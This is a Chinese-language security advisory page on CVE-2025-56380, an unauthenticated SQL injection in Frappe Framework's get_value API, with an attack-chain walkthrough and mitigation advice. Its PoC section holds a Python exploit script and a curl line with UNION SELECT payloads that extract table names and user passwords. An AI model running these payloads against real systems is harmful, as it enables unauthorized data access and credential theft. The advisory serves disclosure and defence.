IPBUF安全漏洞报告
English
CVE-2025-56380 CVSS 6.5 中危

CVE-2025-56380:Frappe Framework SQL注入漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-56380
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Frappe Framework

相关标签

SQL注入Frappe FrameworkCVE-2025-56380中危漏洞无需认证网络攻击API漏洞数据泄露ERPNextPython框架

漏洞概述

CVE-2025-56380是Frappe Framework v15.72.4版本中发现的SQL注入漏洞。该漏洞存在于frappe.client.get_value API端点中,攻击者可以通过精心构造的fieldname参数注入恶意SQL语句,从而绕过应用程序的正常数据访问控制,直接与后端数据库进行交互。

Frappe Framework是一个基于Python的开源低代码Web开发框架,广泛用于构建企业级ERP、CRM等业务管理系统。由于其模块化和可扩展的特性,被全球众多企业和组织广泛采用。该漏洞的CVSS评分为6.5,属于中危级别,攻击向量为网络攻击(AV:N),无需认证(PR:N)和用户交互(UI:N)即可利用,机密性和完整性影响均为低级别(C:L/I:L),可用性不受影响(A:N)。

该漏洞由安全研究员MoAlali发现并报告。由于Frappe Framework通常用于处理敏感的业务数据,包括客户信息、财务记录和运营数据,SQL注入漏洞可能导致未经授权的数据访问、数据篡改或敏感信息泄露。攻击者可以利用此漏洞读取数据库中的敏感信息,或在某些情况下执行数据修改操作,对企业数据安全构成威胁。

技术细节

该漏洞的根源在于frappe.client.get_value API端点对fieldname参数的处理缺乏充分的输入验证和参数化查询保护。具体技术细节如下:

1. **漏洞端点**:frappe.client.get_value是Frappe Framework提供的客户端API端点,用于根据指定字段获取数据库记录的值。该API接受多个参数,其中fieldname参数用于指定要查询的数据库字段名称。

2. **注入原理**:当用户向fieldname参数传入恶意构造的SQL语句片段时,由于后端代码直接将用户输入拼接到SQL查询语句中而未进行适当的转义或参数化处理,攻击者可以注入任意SQL代码。典型的注入payload可能包含UNION SELECT等SQL关键字,用于提取数据库中的其他表数据。

3. **利用方式**:攻击者无需认证即可通过网络直接访问frappe.client.get_value端点,构造包含SQL注入payload的fieldname参数,发送到目标服务器。服务器在处理请求时执行恶意SQL语句,攻击者可以从响应中获取数据库中的敏感信息。

4. **影响范围**:由于Frappe Framework使用统一的数据库访问层,该漏洞可能影响所有使用受影响版本的Frappe应用,包括ERPNext等基于Frappe构建的业务应用。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统是否使用Frappe Framework v15.72.4或受影响版本,通过访问公开的API端点或分析HTTP响应头进行版本指纹识别。
STEP 2
步骤2:构造恶意请求
攻击者构造针对frappe.client.get_value端点的HTTP请求,在fieldname参数中注入SQL语句,如UNION SELECT等payload,用于提取数据库信息。
STEP 3
步骤3:发送注入请求
攻击者通过HTTP GET或POST方法将恶意请求发送到目标服务器。由于漏洞无需认证(PR:N),攻击者无需任何凭据即可执行攻击。
STEP 4
步骤4:执行SQL注入
服务器接收请求后,将未经过滤的fieldname参数拼接到SQL查询中执行,恶意SQL语句在数据库上下文中执行,返回攻击者所需的敏感数据。
STEP 5
步骤5:数据提取与利用
攻击者从服务器响应中解析提取的数据库信息,包括数据库版本、表结构、用户凭证等敏感数据,可用于进一步攻击或数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-56380 - Frappe Framework SQL Injection PoC # Vulnerable endpoint: frappe.client.get_value # Vulnerable parameter: fieldname import requests # Target configuration TARGET_URL = "http://target-frappe-site.com" API_ENDPOINT = "/api/method/frappe.client.get_value" def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection in fieldname parameter of frappe.client.get_value """ # SQL injection payload targeting the fieldname parameter # Example: Extract database version or sensitive data params = { "doctype": "User", "fieldname": injection_payload, "filters": "[[\"name\", \"=\", \"Administrator\"]]" } try: response = requests.get( f"{target_url}{API_ENDPOINT}", params=params, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") return response.text except requests.exceptions.RequestException as e: print(f"Error: {e}") return None # Example injection payloads # Payload 1: Extract database version payload_version = "name UNION SELECT version()-- " # Payload 2: Extract table names payload_tables = "name UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()-- " # Payload 3: Extract user credentials payload_users = "name UNION SELECT GROUP_CONCAT(name,':',password) FROM __Auth-- " if __name__ == "__main__": # Test the SQL injection result = exploit_sql_injection(TARGET_URL, payload_version) print(f"\nExploitation result:\n{result}") # Alternative: Direct HTTP request example # curl "http://target.com/api/method/frappe.client.get_value?doctype=User&fieldname=name UNION SELECT version()-- &filters=%5B%5B%22name%22%2C%20%22%3D%22%2C%20%22Administrator%22%5D%5D"

影响范围

Frappe Framework == 15.72.4

防御指南

临时缓解措施
在官方修复版本发布前,建议采取以下临时缓解措施:1)在Web服务器或反向代理层面添加规则,限制对frappe.client.get_value端点的未授权访问;2)部署WAF规则拦截包含SQL关键字(如UNION、SELECT、DROP等)的异常请求;3)修改应用代码,对fieldname参数进行严格的输入验证,确保只接受预定义的合法字段名;4)监控数据库日志,关注来自该API端点的异常查询活动;5)限制数据库连接账户的权限,仅授予必要的最小权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表